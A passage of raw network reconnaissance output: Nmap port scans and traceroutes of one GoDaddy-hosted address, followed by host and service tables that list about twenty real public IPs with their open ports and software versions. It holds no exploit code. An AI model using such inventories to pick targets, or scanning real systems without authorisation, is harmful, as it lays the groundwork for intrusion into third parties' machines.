  2487. Nmap scan report for ip-45-40-155-175.ip.secureserver.net (45.40.155.175)
  2488. Host is up (0.047s latency).
  2489.  
  2490. PORT STATE SERVICE VERSION
  2491. 67/tcp filtered dhcps
  2492. 67/udp open|filtered dhcps
  2493. |_dhcp-discover: ERROR: Script execution failed (use -d to debug)
  2494. Too many fingerprints match this host to give specific OS details
  2495. Network Distance: 17 hops
  2496.  
  2497. TRACEROUTE (using proto 1/icmp)
  2498. HOP RTT ADDRESS
  2499. 1 115.01 ms 10.203.2.1
  2500. 2 115.07 ms unn-89-187-165-62.cdn77.com (89.187.165.62)
  2501. 3 115.65 ms hu0-1-0-2.rcr51.b021037-0.zrh02.atlas.cogentco.com (149.11.89.129)
  2502. 4 115.72 ms be3591.ccr51.zrh02.atlas.cogentco.com (130.117.50.182)
  2503. 5 121.87 ms be3072.ccr21.muc03.atlas.cogentco.com (130.117.0.18)
  2504. 6 126.68 ms be2959.ccr41.fra03.atlas.cogentco.com (154.54.36.53)
  2505. 7 126.50 ms be3186.agr41.fra03.atlas.cogentco.com (130.117.0.2)
  2506. 8 125.46 ms telia.fra03.atlas.cogentco.com (130.117.14.198)
  2507. 9 267.95 ms ffm-bb1-link.telia.net (62.115.114.88)
  2508. 10 266.23 ms prs-bb3-link.telia.net (62.115.123.13)
  2509. 11 209.80 ms ash-bb2-link.telia.net (62.115.112.242)
  2510. 12 264.14 ms las-b24-link.telia.net (62.115.121.220)
  2511. 13 264.17 ms ae9.ibrsa0107-01.lax1.bb.godaddy.com (62.115.171.243)
  2512. 14 270.78 ms ip-148-72-32-16.ip.secureserver.net (148.72.32.16)
  2513. 15 270.82 ms be38.trmc0215-01.ars.mgmt.phx3.gdg (184.168.0.69)
  2514. 16 404.41 ms 97.74.255.129
  2515. 17 266.74 ms ip-45-40-155-175.ip.secureserver.net (45.40.155.175)
  2516. #####################################################################################################################################
  2517. Starting Nmap 7.80 ( https://nmap.org ) at 2020-04-24 17:53 EDT
  2518. Nmap scan report for ip-45-40-155-175.ip.secureserver.net (45.40.155.175)
  2519. Host is up (0.051s latency).
  2520.  
  2521. PORT STATE SERVICE VERSION
  2522. 68/tcp filtered dhcpc
  2523. 68/udp open|filtered dhcpc
  2524. Too many fingerprints match this host to give specific OS details
  2525. Network Distance: 17 hops
  2526.  
  2527. TRACEROUTE (using proto 1/icmp)
  2528. HOP RTT ADDRESS
  2529. 1 120.05 ms 10.203.2.1
  2530. 2 120.31 ms unn-89-187-165-62.cdn77.com (89.187.165.62)
  2531. 3 120.34 ms hu0-1-0-2.rcr51.b021037-0.zrh02.atlas.cogentco.com (149.11.89.129)
  2532. 4 120.71 ms be3591.ccr51.zrh02.atlas.cogentco.com (130.117.50.182)
  2533. 5 126.54 ms be3072.ccr21.muc03.atlas.cogentco.com (130.117.0.18)
  2534. 6 131.93 ms be2959.ccr41.fra03.atlas.cogentco.com (154.54.36.53)
  2535. 7 131.95 ms be3186.agr41.fra03.atlas.cogentco.com (130.117.0.2)
  2536. 8 129.05 ms telia.fra03.atlas.cogentco.com (130.117.14.198)
  2537. 9 272.94 ms ffm-bb1-link.telia.net (62.115.114.88)
  2538. 10 270.82 ms prs-bb3-link.telia.net (62.115.123.13)
  2539. 11 209.81 ms ash-bb2-link.telia.net (62.115.112.242)
  2540. 12 265.37 ms las-b24-link.telia.net (62.115.121.220)
  2541. 13 268.39 ms ae9.ibrsa0107-01.lax1.bb.godaddy.com (62.115.171.243)
  2542. 14 272.01 ms ip-148-72-32-16.ip.secureserver.net (148.72.32.16)
  2543. 15 267.07 ms be38.trmc0215-01.ars.mgmt.phx3.gdg (184.168.0.69)
  2544. 16 298.73 ms 97.74.255.129
  2545. 17 270.76 ms ip-45-40-155-175.ip.secureserver.net (45.40.155.175)
  2546. #####################################################################################################################################
  2547. Starting Nmap 7.80 ( https://nmap.org ) at 2020-04-24 17:55 EDT
  2548. Nmap scan report for ip-45-40-155-175.ip.secureserver.net (45.40.155.175)
  2549. Host is up (0.055s latency).
  2550.  
  2551. PORT STATE SERVICE VERSION
  2552. 69/tcp filtered tftp
  2553. 69/udp open|filtered tftp
  2554. Too many fingerprints match this host to give specific OS details
  2555. Network Distance: 17 hops
  2556.  
  2557. TRACEROUTE (using proto 1/icmp)
  2558. HOP RTT ADDRESS
  2559. 1 115.71 ms 10.203.2.1
  2560. 2 115.82 ms unn-89-187-165-62.cdn77.com (89.187.165.62)
  2561. 3 112.46 ms hu0-1-0-2.rcr51.b021037-0.zrh02.atlas.cogentco.com (149.11.89.129)
  2562. 4 112.86 ms be3591.ccr51.zrh02.atlas.cogentco.com (130.117.50.182)
  2563. 5 118.25 ms be3072.ccr21.muc03.atlas.cogentco.com (130.117.0.18)
  2564. 6 123.89 ms be2959.ccr41.fra03.atlas.cogentco.com (154.54.36.53)
  2565. 7 123.92 ms be3186.agr41.fra03.atlas.cogentco.com (130.117.0.2)
  2566. 8 121.23 ms telia.fra03.atlas.cogentco.com (130.117.14.198)
  2567. 9 266.11 ms ffm-bb1-link.telia.net (62.115.114.88)
  2568. 10 262.95 ms prs-bb3-link.telia.net (62.115.123.13)
  2569. 11 210.56 ms ash-bb2-link.telia.net (62.115.112.242)
  2570. 12 264.48 ms las-b24-link.telia.net (62.115.121.220)
  2571. 13 280.32 ms ae9.ibrsa0107-01.lax1.bb.godaddy.com (62.115.171.243)
  2572. 14 267.62 ms ip-148-72-32-16.ip.secureserver.net (148.72.32.16)
  2573. 15 267.59 ms be38.trmc0215-01.ars.mgmt.phx3.gdg (184.168.0.69)
  2574. 16 267.79 ms 97.74.255.129
  2575. 17 266.88 ms ip-45-40-155-175.ip.secureserver.net (45.40.155.175)
  2576. #####################################################################################################################################
  2577. HTTP/1.1 404 Not Found
  2578. Content-Type: text/html; charset=iso-8859-1
  2579. X-Cacheable: YES:Forced
  2580. Date: Fri, 24 Apr 2020 21:58:33 GMT
  2581. Age: 50
  2582. Vary: User-Agent
  2583. X-Cache: cached
  2584. X-Cache-Hit: HIT
  2585. X-Backend: all_requests
  2586.  
  2587. HTTP/1.1 404 Not Found
  2588. Content-Type: text/html; charset=iso-8859-1
  2589. X-Cacheable: YES:Forced
  2590. Date: Fri, 24 Apr 2020 21:58:33 GMT
  2591. Age: 51
  2592. Vary: User-Agent
  2593. X-Cache: cached
  2594. X-Cache-Hit: HIT
  2595. X-Backend: all_requests
  2596. #####################################################################################################################################
  2597. Starting Nmap 7.80 ( https://nmap.org ) at 2020-04-24 17:58 EDT
  2598. Nmap scan report for ip-45-40-155-175.ip.secureserver.net (45.40.155.175)
  2599. Host is up (0.055s latency).
  2600.  
  2601. PORT STATE SERVICE VERSION
  2602. 123/tcp filtered ntp
  2603. 123/udp open|filtered ntp
  2604. Too many fingerprints match this host to give specific OS details
  2605. Network Distance: 17 hops
  2606.  
  2607. TRACEROUTE (using proto 1/icmp)
  2608. HOP RTT ADDRESS
  2609. 1 117.13 ms 10.203.2.1
  2610. 2 117.16 ms unn-89-187-165-62.cdn77.com (89.187.165.62)
  2611. 3 117.31 ms hu0-1-0-2.rcr51.b021037-0.zrh02.atlas.cogentco.com (149.11.89.129)
  2612. 4 117.95 ms be3591.ccr51.zrh02.atlas.cogentco.com (130.117.50.182)
  2613. 5 122.91 ms be3072.ccr21.muc03.atlas.cogentco.com (130.117.0.18)
  2614. 6 128.95 ms be2959.ccr41.fra03.atlas.cogentco.com (154.54.36.53)
  2615. 7 128.94 ms be3186.agr41.fra03.atlas.cogentco.com (130.117.0.2)
  2616. 8 126.98 ms telia.fra03.atlas.cogentco.com (130.117.14.198)
  2617. 9 266.52 ms ffm-bb1-link.telia.net (62.115.114.88)
  2618. 10 264.76 ms prs-bb3-link.telia.net (62.115.123.13)
  2619. 11 211.41 ms ash-bb2-link.telia.net (62.115.112.242)
  2620. 12 266.29 ms las-b24-link.telia.net (62.115.121.220)
  2621. 13 266.25 ms ae9.ibrsa0107-01.lax1.bb.godaddy.com (62.115.171.243)
  2622. 14 275.44 ms ip-148-72-32-16.ip.secureserver.net (148.72.32.16)
  2623. 15 268.54 ms be38.trmc0215-01.ars.mgmt.phx3.gdg (184.168.0.69)
  2624. 16 268.56 ms 97.74.255.129
  2625. 17 267.71 ms ip-45-40-155-175.ip.secureserver.net (45.40.155.175)
  2626. #####################################################################################################################################
  2627. Starting Nmap 7.80 ( https://nmap.org ) at 2020-04-24 18:03 EDT
  2628. Nmap scan report for ip-45-40-155-175.ip.secureserver.net (45.40.155.175)
  2629. Host is up (0.24s latency).
  2630. Not shown: 65532 filtered ports
  2631. PORT STATE SERVICE VERSION
  2632. 22/tcp open ssh OpenSSH 7.5 (protocol 2.0)
  2633. | ssh-hostkey:
  2634. | 2048 36:62:7a:9a:77:3b:92:28:75:aa:92:a4:13:c5:14:2b (RSA)
  2635. | 256 e6:90:e8:1a:b9:e5:94:fb:60:4e:ca:1a:ae:2d:e3:2e (ECDSA)
  2636. |_ 256 a4:c2:3b:42:da:c9:13:70:af:1b:84:66:e4:5c:a4:a5 (ED25519)
  2637. 80/tcp open http-proxy HAProxy http proxy 1.3.1 or later
  2638. |_http-title: 404 Not Found
  2639. 443/tcp open ssl/https openresty
  2640. |_http-server-header: openresty
  2641. |_http-title: 400 The plain HTTP request was sent to HTTPS port
  2642. Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
  2643. Device type: general purpose
  2644. Running (JUST GUESSING): Linux 2.6.X (87%)
  2645. OS CPE: cpe:/o:linux:linux_kernel:2.6.32
  2646. Aggressive OS guesses: Linux 2.6.32 (87%), Linux 2.6.39 (86%)
  2647. No exact OS matches for host (test conditions non-ideal).
  2648. Network Distance: 18 hops
  2649. Service Info: Device: load balancer
  2650.  
  2651. TRACEROUTE (using port 443/tcp)
  2652. HOP RTT ADDRESS
  2653. 1 117.04 ms 10.203.2.1
  2654. 2 117.07 ms unn-89-187-165-62.cdn77.com (89.187.165.62)
  2655. 3 117.43 ms hu0-1-0-2.rcr51.b021037-0.zrh02.atlas.cogentco.com (149.11.89.129)
  2656. 4 117.84 ms be3591.ccr51.zrh02.atlas.cogentco.com (130.117.50.182)
  2657. 5 123.34 ms be3072.ccr21.muc03.atlas.cogentco.com (130.117.0.18)
  2658. 6 124.88 ms be2959.ccr41.fra03.atlas.cogentco.com (154.54.36.53)
  2659. 7 125.31 ms be3187.agr41.fra03.atlas.cogentco.com (130.117.1.117)
  2660. 8 122.55 ms telia.fra03.atlas.cogentco.com (130.117.14.198)
  2661. 9 260.97 ms ffm-bb2-link.telia.net (62.115.114.90)
  2662. 10 ...
  2663. 11 217.02 ms ash-bb2-link.telia.net (62.115.112.242)
  2664. 12 269.80 ms las-b24-link.telia.net (62.115.121.220)
  2665. 13 269.81 ms ae9.ibrsa0107-01.lax1.bb.godaddy.com (62.115.171.243)
  2666. 14 273.70 ms ip-148-72-32-16.ip.secureserver.net (148.72.32.16)
  2667. 15 268.12 ms be38.trmc0215-01.ars.mgmt.phx3.gdg (184.168.0.69)
  2668. 16 268.11 ms 97.74.255.129
  2669. 17 263.61 ms lbma1105-03.ars2.mgmt.phx3.secureserver.net (184.168.1.240)
  2670. 18 263.66 ms ip-45-40-155-175.ip.secureserver.net (45.40.155.175)
  2671. #####################################################################################################################################
  2672. Starting Nmap 7.80 ( https://nmap.org ) at 2020-04-24 18:09 EDT
  2673. Nmap scan report for ip-45-40-155-175.ip.secureserver.net (45.40.155.175)
  2674. Host is up (0.053s latency).
  2675.  
  2676. PORT STATE SERVICE VERSION
  2677. 53/tcp filtered domain
  2678. 67/tcp filtered dhcps
  2679. 68/tcp filtered dhcpc
  2680. 69/tcp filtered tftp
  2681. 88/tcp filtered kerberos-sec
  2682. 123/tcp filtered ntp
  2683. 137/tcp filtered netbios-ns
  2684. 138/tcp filtered netbios-dgm
  2685. 139/tcp filtered netbios-ssn
  2686. 161/tcp filtered snmp
  2687. 162/tcp filtered snmptrap
  2688. 389/tcp filtered ldap
  2689. 520/tcp filtered efs
  2690. 2049/tcp filtered nfs
  2691. 53/udp open|filtered domain
  2692. 67/udp open|filtered dhcps
  2693. 68/udp open|filtered dhcpc
  2694. 69/udp open|filtered tftp
  2695. 88/udp open|filtered kerberos-sec
  2696. 123/udp open|filtered ntp
  2697. 137/udp open|filtered netbios-ns
  2698. 138/udp open|filtered netbios-dgm
  2699. 139/udp open|filtered netbios-ssn
  2700. 161/udp open|filtered snmp
  2701. 162/udp open|filtered snmptrap
  2702. 389/udp open|filtered ldap
  2703. 520/udp open|filtered route
  2704. 2049/udp open|filtered nfs
  2705. Too many fingerprints match this host to give specific OS details
  2706. Network Distance: 17 hops
  2707.  
  2708. TRACEROUTE (using proto 1/icmp)
  2709. HOP RTT ADDRESS
  2710. 1 117.22 ms 10.203.2.1
  2711. 2 117.29 ms unn-89-187-165-62.cdn77.com (89.187.165.62)
  2712. 3 117.63 ms hu0-1-0-2.rcr51.b021037-0.zrh02.atlas.cogentco.com (149.11.89.129)
  2713. 4 118.65 ms be3591.ccr51.zrh02.atlas.cogentco.com (130.117.50.182)
  2714. 5 123.26 ms be3072.ccr21.muc03.atlas.cogentco.com (130.117.0.18)
  2715. 6 131.91 ms be2959.ccr41.fra03.atlas.cogentco.com (154.54.36.53)
  2716. 7 124.89 ms be3186.agr41.fra03.atlas.cogentco.com (130.117.0.2)
  2717. 8 122.70 ms telia.fra03.atlas.cogentco.com (130.117.14.198)
  2718. 9 267.15 ms ffm-bb1-link.telia.net (62.115.114.88)
  2719. 10 264.25 ms prs-bb3-link.telia.net (62.115.123.13)
  2720. 11 211.70 ms ash-bb2-link.telia.net (62.115.112.242)
  2721. 12 266.86 ms las-b24-link.telia.net (62.115.121.220)
  2722. 13 265.61 ms ae9.ibrsa0107-01.lax1.bb.godaddy.com (62.115.171.243)
  2723. 14 268.55 ms ip-148-72-32-16.ip.secureserver.net (148.72.32.16)
  2724. 15 270.62 ms be38.trmc0215-01.ars.mgmt.phx3.gdg (184.168.0.69)
  2725. 16 276.52 ms 97.74.255.129
  2726. 17 275.71 ms ip-45-40-155-175.ip.secureserver.net (45.40.155.175)
  2727. #####################################################################################################################################
  2728. Hosts
  2729. =====
  2730.  
  2731. address mac name os_name os_flavor os_sp purpose info comments
  2732. ------- --- ---- ------- --------- ----- ------- ---- --------
  2733. 37.1.217.251 VM Server 3.X device
  2734. 43.245.223.4 Linux 2.6.X server
  2735. 45.40.155.175 ip-45-40-155-175.ip.secureserver.net Linux 2.6.X server
  2736. 74.117.180.98 embedded device
  2737. 82.94.222.141 Unknown device
  2738. 85.141.25.242 Unknown device
  2739. 93.174.93.2 no-reverse-dns-configured.com Linux 3.X server
  2740. 94.102.51.112 no-reverse-dns-configured.com Linux 2.4.X server
  2741. 104.244.73.40 Unknown device
  2742. 104.244.77.188 Linux 3.X server
  2743. 130.0.236.227 Linux 3.X server
  2744. 149.56.17.122 kkk.bz Unknown device
  2745. 151.139.128.11 2-Series device
  2746. 158.69.13.248 ip248.ip-158-69-13.net VM Server 3.X device
  2747. 164.77.92.13 as5300-a5-003.atf.entelchile.net Unknown device
  2748. 166.62.109.86 ip-166-62-109-86.ip.secureserver.net Linux 2.6.X server
  2749. 170.246.173.5 host-170-246-173-5.anacondaweb.com embedded device
  2750. 185.35.79.72 dentalimplants.toastserver.com Unknown device
  2751. 190.97.167.120 server.hcg-invest.com Linux 2.6.X server
  2752. 200.2.249.28 Linux 3.X server
  2753. 200.68.34.99 Unknown device
  2754. 200.73.54.34 mail.maxtel.cl Unknown device
  2755. #####################################################################################################################################
  2756. Services
  2757. ========
  2758.  
  2759. host port proto name state info
  2760. ---- ---- ----- ---- ----- ----
  2761. 37.1.217.251 22 tcp ssh open SSH-2.0-OpenSSH_7.4
  2762. 37.1.217.251 53 tcp domain open unknown banner: get lost
  2763. 37.1.217.251 53 udp domain open unknown banner: get lost
  2764. 37.1.217.251 67 tcp dhcps filtered
  2765. 37.1.217.251 67 udp dhcps unknown
  2766. 37.1.217.251 68 tcp dhcpc filtered
  2767. 37.1.217.251 68 udp dhcpc unknown
  2768. 37.1.217.251 69 tcp tftp filtered
  2769. 37.1.217.251 69 udp tftp unknown
  2770. 37.1.217.251 88 tcp kerberos-sec filtered
  2771. 37.1.217.251 88 udp kerberos-sec unknown
  2772. 37.1.217.251 123 tcp ntp filtered
  2773. 37.1.217.251 123 udp ntp unknown
  2774. 37.1.217.251 137 tcp netbios-ns filtered
  2775. 37.1.217.251 137 udp netbios-ns unknown
  2776. 37.1.217.251 138 tcp netbios-dgm filtered
  2777. 37.1.217.251 138 udp netbios-dgm unknown
  2778. 37.1.217.251 139 tcp netbios-ssn filtered
  2779. 37.1.217.251 139 udp netbios-ssn unknown
  2780. 37.1.217.251 161 tcp snmp filtered
  2781. 37.1.217.251 161 udp snmp unknown
  2782. 37.1.217.251 162 tcp snmptrap filtered
  2783. 37.1.217.251 162 udp snmptrap unknown
  2784. 37.1.217.251 389 tcp ldap filtered
  2785. 37.1.217.251 389 udp ldap unknown
  2786. 37.1.217.251 520 tcp efs filtered
  2787. 37.1.217.251 520 udp route unknown
  2788. 37.1.217.251 2049 tcp nfs filtered
  2789. 37.1.217.251 2049 udp nfs unknown
  2790. 43.245.223.4 53 tcp domain filtered
  2791. 43.245.223.4 53 udp domain unknown
  2792. 43.245.223.4 67 tcp dhcps filtered
  2793. 43.245.223.4 67 udp dhcps unknown
  2794. 43.245.223.4 68 tcp dhcpc filtered
  2795. 43.245.223.4 68 udp dhcpc unknown
  2796. 43.245.223.4 69 tcp tftp filtered
  2797. 43.245.223.4 69 udp tftp unknown
  2798. 43.245.223.4 80 tcp http open nginx
  2799. 43.245.223.4 88 tcp kerberos-sec filtered
  2800. 43.245.223.4 88 udp kerberos-sec unknown
  2801. 43.245.223.4 123 tcp ntp filtered
  2802. 43.245.223.4 123 udp ntp unknown
  2803. 43.245.223.4 137 tcp netbios-ns filtered
  2804. 43.245.223.4 137 udp netbios-ns unknown
  2805. 43.245.223.4 138 tcp netbios-dgm filtered
  2806. 43.245.223.4 138 udp netbios-dgm unknown
  2807. 43.245.223.4 139 tcp netbios-ssn filtered
  2808. 43.245.223.4 139 udp netbios-ssn unknown
  2809. 43.245.223.4 161 tcp snmp filtered
  2810. 43.245.223.4 161 udp snmp unknown
  2811. 43.245.223.4 162 tcp snmptrap filtered
  2812. 43.245.223.4 162 udp snmptrap unknown
  2813. 43.245.223.4 389 tcp ldap filtered
  2814. 43.245.223.4 389 udp ldap unknown
  2815. 43.245.223.4 443 tcp ssl/http open nginx
  2816. 43.245.223.4 520 tcp efs filtered
  2817. 43.245.223.4 520 udp route unknown
  2818. 43.245.223.4 2049 tcp nfs filtered
  2819. 43.245.223.4 2049 udp nfs unknown
  2820. 43.245.223.4 32022 tcp ssh open OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 Ubuntu Linux; protocol 2.0
  2821. 45.40.155.175 22 tcp ssh open OpenSSH 7.5 protocol 2.0
  2822. 45.40.155.175 53 tcp domain filtered
  2823. 45.40.155.175 53 udp domain unknown
  2824. 45.40.155.175 67 tcp dhcps filtered
  2825. 45.40.155.175 67 udp dhcps unknown
  2826. 45.40.155.175 68 tcp dhcpc filtered
  2827. 45.40.155.175 68 udp dhcpc unknown
  2828. 45.40.155.175 69 tcp tftp filtered
  2829. 45.40.155.175 69 udp tftp unknown
  2830. 45.40.155.175 80 tcp http-proxy open HAProxy http proxy 1.3.1 or later
  2831. 45.40.155.175 88 tcp kerberos-sec filtered
  2832. 45.40.155.175 88 udp kerberos-sec unknown
  2833. 45.40.155.175 123 tcp ntp filtered
  2834. 45.40.155.175 123 udp ntp unknown
  2835. 45.40.155.175 137 tcp netbios-ns filtered
  2836. 45.40.155.175 137 udp netbios-ns unknown
  2837. 45.40.155.175 138 tcp netbios-dgm filtered
  2838. 45.40.155.175 138 udp netbios-dgm unknown
  2839. 45.40.155.175 139 tcp netbios-ssn filtered
  2840. 45.40.155.175 139 udp netbios-ssn unknown
  2841. 45.40.155.175 161 tcp snmp filtered
  2842. 45.40.155.175 161 udp snmp unknown
  2843. 45.40.155.175 162 tcp snmptrap filtered
  2844. 45.40.155.175 162 udp snmptrap unknown
  2845. 45.40.155.175 389 tcp ldap filtered
  2846. 45.40.155.175 389 udp ldap unknown
  2847. 45.40.155.175 443 tcp ssl/https open openresty
  2848. 45.40.155.175 520 tcp efs filtered
  2849. 45.40.155.175 520 udp route unknown
  2850. 45.40.155.175 2049 tcp nfs filtered
  2851. 45.40.155.175 2049 udp nfs unknown
  2852. 74.117.180.98 21 tcp ftp open 220 Hello.\x0d\x0a
  2853. 74.117.180.98 53 tcp domain closed
  2854. 74.117.180.98 53 udp domain unknown
  2855. 74.117.180.98 67 tcp dhcps closed
  2856. 74.117.180.98 67 udp dhcps unknown
  2857. 74.117.180.98 68 tcp dhcpc closed
  2858. 74.117.180.98 68 udp dhcpc unknown
  2859. 74.117.180.98 69 tcp tftp closed
  2860. 74.117.180.98 69 udp tftp unknown
  2861. 74.117.180.98 88 tcp kerberos-sec closed
  2862. 74.117.180.98 88 udp kerberos-sec closed
  2863. 74.117.180.98 123 tcp ntp closed
  2864. 74.117.180.98 123 udp ntp unknown
  2865. 74.117.180.98 137 tcp netbios-ns closed
  2866. 74.117.180.98 137 udp netbios-ns unknown
  2867. 74.117.180.98 138 tcp netbios-dgm closed
  2868. 74.117.180.98 138 udp netbios-dgm unknown
  2869. 74.117.180.98 139 tcp netbios-ssn closed
  2870. 74.117.180.98 139 udp netbios-ssn unknown
  2871. 74.117.180.98 161 tcp snmp closed
  2872. 74.117.180.98 161 udp snmp unknown
  2873. 74.117.180.98 162 tcp snmptrap closed
  2874. 74.117.180.98 162 udp snmptrap closed
  2875. 74.117.180.98 389 tcp ldap closed
  2876. 74.117.180.98 389 udp ldap closed
  2877. 74.117.180.98 520 tcp efs closed
  2878. 74.117.180.98 520 udp route closed
  2879. 74.117.180.98 2049 tcp nfs closed
  2880. 74.117.180.98 2049 udp nfs unknown
  2881. 82.94.222.141 53 tcp domain filtered
  2882. 82.94.222.141 53 udp domain unknown
  2883. 82.94.222.141 67 tcp dhcps filtered
  2884. 82.94.222.141 67 udp dhcps unknown
  2885. 82.94.222.141 68 tcp dhcpc filtered
  2886. 82.94.222.141 68 udp dhcpc unknown
  2887. 82.94.222.141 69 tcp tftp filtered
  2888. 82.94.222.141 69 udp tftp unknown
  2889. 82.94.222.141 88 tcp kerberos-sec filtered
  2890. 82.94.222.141 88 udp kerberos-sec unknown
  2891. 82.94.222.141 123 tcp ntp filtered
  2892. 82.94.222.141 123 udp ntp unknown
  2893. 82.94.222.141 137 tcp netbios-ns filtered
  2894. 82.94.222.141 137 udp netbios-ns unknown
  2895. 82.94.222.141 138 tcp netbios-dgm filtered
  2896. 82.94.222.141 138 udp netbios-dgm unknown
  2897. 82.94.222.141 139 tcp netbios-ssn filtered
  2898. 82.94.222.141 139 udp netbios-ssn unknown
  2899. 82.94.222.141 161 tcp snmp filtered
  2900. 82.94.222.141 161 udp snmp unknown
  2901. 82.94.222.141 162 tcp snmptrap filtered
  2902. 82.94.222.141 162 udp snmptrap unknown
  2903. 82.94.222.141 389 tcp ldap filtered
  2904. 82.94.222.141 389 udp ldap unknown
  2905. 82.94.222.141 520 tcp efs filtered
  2906. 82.94.222.141 520 udp route unknown
  2907. 82.94.222.141 2049 tcp nfs filtered
  2908. 82.94.222.141 2049 udp nfs unknown
  2909. 85.141.25.242 53 tcp domain filtered
  2910. 85.141.25.242 53 udp domain unknown
  2911. 85.141.25.242 67 tcp dhcps filtered
  2912. 85.141.25.242 67 udp dhcps unknown
  2913. 85.141.25.242 68 tcp dhcpc filtered
  2914. 85.141.25.242 68 udp dhcpc unknown
  2915. 85.141.25.242 69 tcp tftp filtered
  2916. 85.141.25.242 69 udp tftp unknown
  2917. 85.141.25.242 88 tcp kerberos-sec filtered
  2918. 85.141.25.242 88 udp kerberos-sec unknown
  2919. 85.141.25.242 123 tcp ntp filtered
  2920. 85.141.25.242 123 udp ntp unknown
  2921. 85.141.25.242 137 tcp netbios-ns filtered
  2922. 85.141.25.242 137 udp netbios-ns unknown
  2923. 85.141.25.242 138 tcp netbios-dgm filtered
  2924. 85.141.25.242 138 udp netbios-dgm unknown
  2925. 85.141.25.242 139 tcp netbios-ssn filtered
  2926. 85.141.25.242 139 udp netbios-ssn unknown
  2927. 85.141.25.242 161 tcp snmp filtered
  2928. 85.141.25.242 161 udp snmp unknown
  2929. 85.141.25.242 162 tcp snmptrap filtered
  2930. 85.141.25.242 162 udp snmptrap unknown
  2931. 85.141.25.242 389 tcp ldap filtered
  2932. 85.141.25.242 389 udp ldap unknown
  2933. 85.141.25.242 520 tcp efs filtered
  2934. 85.141.25.242 520 udp route unknown
  2935. 85.141.25.242 2049 tcp nfs filtered
  2936. 85.141.25.242 2049 udp nfs unknown
  2937. 93.174.93.2 21 tcp ftp open ProFTPD
  2938. 93.174.93.2 22 tcp ssh open OpenSSH 7.2p2 Ubuntu 4ubuntu2.8 Ubuntu Linux; protocol 2.0
  2939. 93.174.93.2 25 tcp smtp open Postfix smtpd
  2940. 93.174.93.2 53 tcp domain open unknown banner: none
  2941. 93.174.93.2 53 udp domain open unknown banner: none
  2942. 93.174.93.2 67 tcp dhcps closed
  2943. 93.174.93.2 67 udp dhcps closed
  2944. 93.174.93.2 68 tcp dhcpc closed
  2945. 93.174.93.2 68 udp dhcpc closed
  2946. 93.174.93.2 69 tcp tftp closed
  2947. 93.174.93.2 69 udp tftp unknown
  2948. 93.174.93.2 80 tcp http open nginx
  2949. 93.174.93.2 88 tcp kerberos-sec closed
  2950. 93.174.93.2 88 udp kerberos-sec unknown
  2951. 93.174.93.2 106 tcp pop3pw open poppassd
  2952. 93.174.93.2 110 tcp pop3 open Dovecot pop3d
  2953. 93.174.93.2 123 tcp ntp closed
  2954. 93.174.93.2 123 udp ntp unknown
  2955. 93.174.93.2 137 tcp netbios-ns closed
  2956. 93.174.93.2 137 udp netbios-ns unknown
  2957. 93.174.93.2 138 tcp netbios-dgm closed
  2958. 93.174.93.2 138 udp netbios-dgm unknown
  2959. 93.174.93.2 139 tcp netbios-ssn closed
  2960. 93.174.93.2 139 udp netbios-ssn closed
  2961. 93.174.93.2 143 tcp imap open Dovecot imapd
  2962. 93.174.93.2 161 tcp snmp closed
  2963. 93.174.93.2 161 udp snmp unknown
  2964. 93.174.93.2 162 tcp snmptrap closed
  2965. 93.174.93.2 162 udp snmptrap closed
  2966. 93.174.93.2 389 tcp ldap closed
  2967. 93.174.93.2 389 udp ldap unknown
  2968. 93.174.93.2 443 tcp ssl/http open nginx
  2969. 93.174.93.2 465 tcp ssl/smtp open Postfix smtpd
  2970. 93.174.93.2 520 tcp efs closed
  2971. 93.174.93.2 520 udp route unknown
  2972. 93.174.93.2 993 tcp ssl/imap open Dovecot imapd
  2973. 93.174.93.2 995 tcp ssl/pop3 open Dovecot pop3d
  2974. 93.174.93.2 2049 tcp nfs closed
  2975. 93.174.93.2 2049 udp nfs unknown
  2976. 93.174.93.2 4190 tcp sieve open Dovecot Pigeonhole sieve 1.0
  2977. 93.174.93.2 7080 tcp http open Apache httpd
  2978. 93.174.93.2 7081 tcp http open Apache httpd
  2979. 93.174.93.2 8443 tcp ssl/http open sw-cp-server httpd Plesk Onyx 17.8.11
  2980. 93.174.93.2 8880 tcp http open sw-cp-server httpd Plesk Onyx 17.8.11
  2981. 94.102.51.112 22 tcp ssh open
  2982. 94.102.51.112 25 tcp smtp open Exim smtpd 4.89
  2983. 94.102.51.112 53 tcp domain open ISC BIND 9.9.4 RedHat Enterprise Linux 7
  2984. 94.102.51.112 53 udp domain open ISC BIND 9.9.4 RedHat Enterprise Linux 7
  2985. 94.102.51.112 67 tcp dhcps filtered
  2986. 94.102.51.112 67 udp dhcps unknown
  2987. 94.102.51.112 68 tcp dhcpc filtered
  2988. 94.102.51.112 68 udp dhcpc unknown
  2989. 94.102.51.112 69 tcp tftp filtered
  2990. 94.102.51.112 69 udp tftp unknown
  2991. 94.102.51.112 80 tcp http open nginx
  2992. 94.102.51.112 88 tcp kerberos-sec filtered
  2993. 94.102.51.112 88 udp kerberos-sec unknown
  2994. 94.102.51.112 110 tcp pop3 open Dovecot pop3d
  2995. 94.102.51.112 123 tcp ntp filtered
  2996. 94.102.51.112 123 udp ntp unknown
  2997. 94.102.51.112 137 tcp netbios-ns filtered
  2998. 94.102.51.112 137 udp netbios-ns unknown
  2999. 94.102.51.112 138 tcp netbios-dgm filtered
  3000. 94.102.51.112 138 udp netbios-dgm unknown
  3001. 94.102.51.112 139 tcp netbios-ssn filtered
  3002. 94.102.51.112 139 udp netbios-ssn unknown
  3003. 94.102.51.112 143 tcp imap open Dovecot imapd
  3004. 94.102.51.112 161 tcp snmp filtered
  3005. 94.102.51.112 161 udp snmp unknown
  3006. 94.102.51.112 162 tcp snmptrap filtered
  3007. 94.102.51.112 162 udp snmptrap unknown
  3008. 94.102.51.112 389 tcp ldap filtered
  3009. 94.102.51.112 389 udp ldap unknown
  3010. 94.102.51.112 465 tcp ssl/smtp open Exim smtpd 4.89
  3011. 94.102.51.112 520 tcp efs filtered
  3012. 94.102.51.112 520 udp route unknown
  3013. 94.102.51.112 993 tcp ssl/imaps open
  3014. 94.102.51.112 995 tcp ssl/pop3s open
  3015. 94.102.51.112 2049 tcp nfs filtered
  3016. 94.102.51.112 2049 udp nfs unknown
  3017. 104.244.73.40 53 tcp domain filtered
  3018. 104.244.73.40 53 udp domain unknown
  3019. 104.244.73.40 67 tcp dhcps filtered
  3020. 104.244.73.40 67 udp dhcps unknown
  3021. 104.244.73.40 68 tcp dhcpc filtered
  3022. 104.244.73.40 68 udp dhcpc unknown
